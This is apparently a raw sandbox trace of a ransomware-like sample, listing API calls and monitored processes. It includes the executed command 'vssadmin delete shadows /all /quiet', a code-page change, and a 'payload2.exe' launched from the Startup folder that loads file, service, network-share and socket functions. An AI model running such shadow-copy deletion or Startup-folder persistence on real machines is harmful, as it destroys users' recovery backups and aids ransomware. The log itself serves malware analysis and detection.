	[0196.838] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2606b0e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0196.838] _vsnwprintf (in: _Buffer=0x2606b0f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xb1e76ff428 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0196.838] _vsnwprintf (in: _Buffer=0x2606b0f0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xb1e76ff428 | out: _Buffer=">") returned 1
	[0196.838] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.838] GetFileType (hFile=0x254) returned 0x3
	[0196.838] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.838] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0196.838] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xb1e76ff418, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff418*=0x14, lpOverlapped=0x0) returned 1
	[0196.838] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.838] GetFileType (hFile=0x248) returned 0x3
	[0196.838] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.838] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0196.838] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0196.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1
	[0196.838] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.838] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0196.839] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0196.839] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1
	[0196.839] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.839] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0196.839] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0196.839] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0196.839] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.839] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0196.839] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0196.839] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1
	[0196.839] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.839] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0196.839] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0196.839] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1
	[0196.839] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.839] GetFileType (hFile=0x248) returned 0x3
	[0196.839] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.839] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0196.840] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.840] GetFileType (hFile=0x254) returned 0x3
	[0196.840] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.840] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6
	[0196.840] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xb1e76ff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff718*=0x5, lpOverlapped=0x0) returned 1
	[0196.840] GetProcessHeap () returned 0x2606afe0000
	[0196.840] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x4012) returned 0x2606afe8e90
	[0196.840] GetProcessHeap () returned 0x2606afe0000
	[0196.840] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8e90) returned 1
	[0196.841] _wcsicmp (_String1="Exit", _String2=")") returned 60
	[0196.841] _wcsicmp (_String1="FOR", _String2="Exit") returned 1
	[0196.841] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1
	[0196.841] _wcsicmp (_String1="IF", _String2="Exit") returned 4
	[0196.841] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4
	[0196.841] _wcsicmp (_String1="REM", _String2="Exit") returned 13
	[0196.841] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13
	[0196.841] GetProcessHeap () returned 0x2606afe0000
	[0196.841] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb0) returned 0x2606afe0730
	[0196.841] GetProcessHeap () returned 0x2606afe0000
	[0196.841] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1a) returned 0x2606afe6330
	[0196.842] GetConsoleOutputCP () returned 0x4e3
	[0196.845] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0196.845] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0196.846] GetConsoleTitleW (in: lpConsoleTitle=0xb1e76ff560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0196.849] malloc (_Size=0xffce) returned 0x2606b100840
	[0196.849] ??_V@YAXPEAX@Z () returned 0x2606b100840
	[0196.849] malloc (_Size=0xffce) returned 0x2606b110820
	[0196.849] ??_V@YAXPEAX@Z () returned 0x2606b110820
	[0196.849] _wcsicmp (_String1="Exit", _String2="DIR") returned 1
	[0196.849] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6
	[0196.849] _wcsicmp (_String1="Exit", _String2="DEL") returned 1
	[0196.849] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15
	[0196.849] _wcsicmp (_String1="Exit", _String2="COPY") returned 2
	[0196.849] _wcsicmp (_String1="Exit", _String2="CD") returned 2
	[0196.849] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2
	[0196.849] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13
	[0196.849] _wcsicmp (_String1="Exit", _String2="REN") returned -13
	[0196.849] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21
	[0196.849] _wcsicmp (_String1="Exit", _String2="SET") returned -14
	[0196.849] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11
	[0196.849] _wcsicmp (_String1="Exit", _String2="DATE") returned 1
	[0196.849] _wcsicmp (_String1="Exit", _String2="TIME") returned -15
	[0196.850] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11
	[0196.850] _wcsicmp (_String1="Exit", _String2="MD") returned -8
	[0196.850] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8
	[0196.850] _wcsicmp (_String1="Exit", _String2="RD") returned -13
	[0196.850] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13
	[0196.850] _wcsicmp (_String1="Exit", _String2="PATH") returned -11
	[0196.850] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2
	[0196.850] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14
	[0196.850] _wcsicmp (_String1="Exit", _String2="CLS") returned 2
	[0196.850] _wcsicmp (_String1="Exit", _String2="CALL") returned 2
	[0196.850] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17
	[0196.850] _wcsicmp (_String1="Exit", _String2="VER") returned -17
	[0196.850] _wcsicmp (_String1="Exit", _String2="VOL") returned -17
	[0196.850] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0
	[0196.850] ??_V@YAXPEAX@Z () returned 0x1
	[0196.850] GetProcessHeap () returned 0x2606afe0000
	[0196.850] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x14) returned 0x2606afe7610
	[0196.850] GetProcessHeap () returned 0x2606afe0000
	[0196.850] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1a) returned 0x2606afe6500
	[0196.850] GetProcessHeap () returned 0x2606afe0000
	[0196.850] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x21c) returned 0x2606afe77c0
	[0196.850] GetConsoleTitleW (in: lpConsoleTitle=0x2606afe77d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0197.220] GetProcessHeap () returned 0x2606afe0000
	[0197.220] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606afe77c0, Size=0x64) returned 0x2606afe77c0
	[0197.220] GetProcessHeap () returned 0x2606afe0000
	[0197.220] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606afe77c0) returned 0x64
	[0197.220] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1
	[0197.802] GetProcessHeap () returned 0x2606afe0000
	[0197.802] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe77c0) returned 1
	[0197.802] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0197.925] exit (_Code=2) 

Thread:
	id = 55
	os_tid = 0xe08


Process:
	id = "8"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x3862c000"
	os_pid = "0xda4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xd8c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 37
	os_tid = 0xda8


Thread:
	id = 41
	os_tid = 0xdb4


Thread:
	id = 52
	os_tid = 0xde4


Thread:
	id = 53
	os_tid = 0xdf8


Thread:
	id = 54
	os_tid = 0xdfc


Process:
	id = "9"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x4d296000"
	os_pid = "0x5c8"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "6"
	os_parent_pid = "0xd7c"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:00010bdf" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 62
	os_tid = 0x20c


Thread:
	id = 63
	os_tid = 0xa6c


Thread:
	id = 64
	os_tid = 0xa64


Thread:
	id = 65
	os_tid = 0xa04


Thread:
	id = 66
	os_tid = 0xa00


Thread:
	id = 67
	os_tid = 0x954


Thread:
	id = 68
	os_tid = 0x68c


Thread:
	id = 69
	os_tid = 0x684


Thread:
	id = 70
	os_tid = 0x610


Thread:
	id = 71
	os_tid = 0x60c


Thread:
	id = 72
	os_tid = 0x604


Thread:
	id = 73
	os_tid = 0x5d0


Thread:
	id = 74
	os_tid = 0x5cc


Process:
	id = "10"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x45d20000"
	os_pid = "0xe28"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xd8c"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 75
	os_tid = 0xe2c


Thread:
	id = 76
	os_tid = 0xe30


Process:
	id = "11"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x2745d000"
	os_pid = "0xec4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xd8c"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 77
	os_tid = 0xec8


Thread:
	id = 78
	os_tid = 0xedc


Thread:
	id = 79
	os_tid = 0xef8


Thread:
	id = 80
	os_tid = 0xefc


Thread:
	id = 81
	os_tid = 0xf00


Process:
	id = "12"
	image_name = "payload2.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"
	page_root = "0x29241000"
	os_pid = "0xf54"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xd7c"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe\" -a"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 82
	os_tid = 0xf58

	[0202.182] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x746a0000
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="GetProcAddress") returned 0x746b51b0
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="GetModuleHandleW") returned 0x746b50d0
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="FindNextFileW") returned 0x7470ee40
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="FindClose") returned 0x7470ed70
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="MoveFileW") returned 0x746ee500
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="GetFileSizeEx") returned 0x7470ef40
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="GetModuleFileNameW") returned 0x746b5090
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="GetFileAttributesW") returned 0x7470ef10
	[0202.182] GetProcAddress (hModule=0x746a0000, lpProcName="ExitProcess") returned 0x746b3cb0
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="GetCommandLineW") returned 0x746b4cc0
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="GetComputerNameW") returned 0x746e32c0
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="GetComputerNameA") returned 0x746e3780
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="CreateMutexW") returned 0x7470eb70
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="lstrlenW") returned 0x746b6c70
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="lstrlenA") returned 0x746b6c50
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="GetCurrentProcess") returned 0x7470ea10
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="WaitForSingleObject") returned 0x7470eca0
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="GetLogicalDrives") returned 0x746b0d20
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="GetTickCount") returned 0x7470dd50
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="DeleteFileW") returned 0x7470ed40
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="WideCharToMultiByte") returned 0x746b6b10
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7470ebb0
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="Sleep") returned 0x746b6760
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="LeaveCriticalSection") returned 0x77a8b250
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="ReadFile") returned 0x7470f090
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="CreateFileW") returned 0x7470ed10
	[0202.183] GetProcAddress (hModule=0x746a0000, lpProcName="OpenMutexW") returned 0x7470ebf0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="EnterCriticalSection") returned 0x77a8b2d0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="WaitForMultipleObjects") returned 0x7470ec80
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="lstrcmpiW") returned 0x746b6bf0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="lstrcmpiA") returned 0x746b6bd0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="DeleteCriticalSection") returned 0x77a6fb90
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="ReleaseMutex") returned 0x7470ec20
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="CloseHandle") returned 0x7470eab0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="GetVersion") returned 0x746b56c0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="CreateThread") returned 0x746b46b0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x746b4a40
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="QueryPerformanceCounter") returned 0x746b5da0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="QueryPerformanceFrequency") returned 0x746b5dc0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="GetCurrentProcessId") returned 0x7470ea20
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="SetFileAttributesW") returned 0x7470f100
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="GetVolumeInformationW") returned 0x7470f020
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="WriteFile") returned 0x7470f180
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="SetFilePointerEx") returned 0x7470f130
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="SetEndOfFile") returned 0x7470f0e0
	[0202.184] GetProcAddress (hModule=0x746a0000, lpProcName="FindFirstFileW") returned 0x7470edf0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="GetProcessHeap") returned 0x746b51f0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="HeapReAlloc") returned 0x77a7f630
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="HeapAlloc") returned 0x77a82dc0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="HeapFree") returned 0x746b57f0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="CreatePipe") returned 0x746b4590
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="SetHandleInformation") returned 0x7470eae0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="CreateProcessW") returned 0x746b4610
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="CompareStringW") returned 0x746b4430
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="CompareStringA") returned 0x746b4410
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="OpenProcess") returned 0x746b5cc0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="TerminateProcess") returned 0x746b67e0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="GetSystemTime") returned 0x746b54e0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="SystemTimeToFileTime") returned 0x746b67a0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="GetLastError") returned 0x746b5010
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x746eedc0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="Process32NextW") returned 0x746ef8f0
	[0202.185] GetProcAddress (hModule=0x746a0000, lpProcName="Process32FirstW") returned 0x746ef750
	[0202.185] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77970000
	[0202.419] GetProcAddress (hModule=0x77970000, lpProcName="RegOpenKeyExW") returned 0x7798e580
	[0202.419] GetProcAddress (hModule=0x77970000, lpProcName="RegQueryValueExW") returned 0x7798e5a0
	[0202.419] GetProcAddress (hModule=0x77970000, lpProcName="RegSetValueExW") returned 0x7798f530
	[0202.419] GetProcAddress (hModule=0x77970000, lpProcName="RegCloseKey") returned 0x7798ed60
	[0202.419] GetProcAddress (hModule=0x77970000, lpProcName="OpenProcessToken") returned 0x7798efb0
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="GetTokenInformation") returned 0x7798ee90
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="OpenSCManagerW") returned 0x77990540
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="OpenServiceW") returned 0x7798fa20
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="CloseServiceHandle") returned 0x7798fc00
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="ControlService") returned 0x779a26d0
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="QueryServiceStatus") returned 0x77992380
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="EnumDependentServicesW") returned 0x779a2f70
	[0202.420] GetProcAddress (hModule=0x77970000, lpProcName="EnumServicesStatusExW") returned 0x7798fc80
	[0202.420] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d20000
	[0203.453] GetProcAddress (hModule=0x75d20000, lpProcName="SystemParametersInfoW") returned 0x75d4f210
	[0203.453] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x762a0000
	[0203.485] GetProcAddress (hModule=0x762a0000, lpProcName="ShellExecuteExW") returned 0x76404730
	[0203.485] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77a40000
	[0203.485] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77ab2070
	[0203.485] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74440000
	[0203.553] GetProcAddress (hModule=0x74440000, lpProcName="WNetCloseEnum") returned 0x74442640
	[0203.553] GetProcAddress (hModule=0x74440000, lpProcName="WNetOpenEnumW") returned 0x74442790
	[0203.553] GetProcAddress (hModule=0x74440000, lpProcName="WNetEnumResourceW") returned 0x74442410
	[0203.553] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x748b0000
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="WSAStartup") returned 0x748b5b40
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="socket") returned 0x748c4510
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="send") returned 0x748b5030
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="recv") returned 0x748c0c50
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="connect") returned 0x748b5410
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="closesocket") returned 0x748c0910
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="gethostbyname") returned 0x748e6cb0
	[0203.556] GetProcAddress (hModule=0x748b0000, lpProcName="inet_addr") returned 0x748c9160
	[0203.557] GetProcAddress (hModule=0x748b0000, lpProcName="ntohl") returned 0x748b49d0
	[0203.557] GetProcAddress (hModule=0x748b0000, lpProcName="htonl") returned 0x748b49d0
	[0203.557] GetProcAddress (hModule=0x748b0000, lpProcName="htons") returned 0x748c8ff0
	[0203.557] GetProcessHeap () returned 0x560000
	[0203.557] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x56afc0
	[0203.557] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=11352698143) returned 1
	[0203.557] GetTickCount () returned 0x11463cc
	[0203.557] GetCurrentProcessId () returned 0xf54
	[0203.559] GetTickCount () returned 0x11463cc
	[0203.559] GetTickCount () returned 0x11463cc
	[0203.559] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x56b010
	[0203.560] GetVersion () returned 0x23f00206
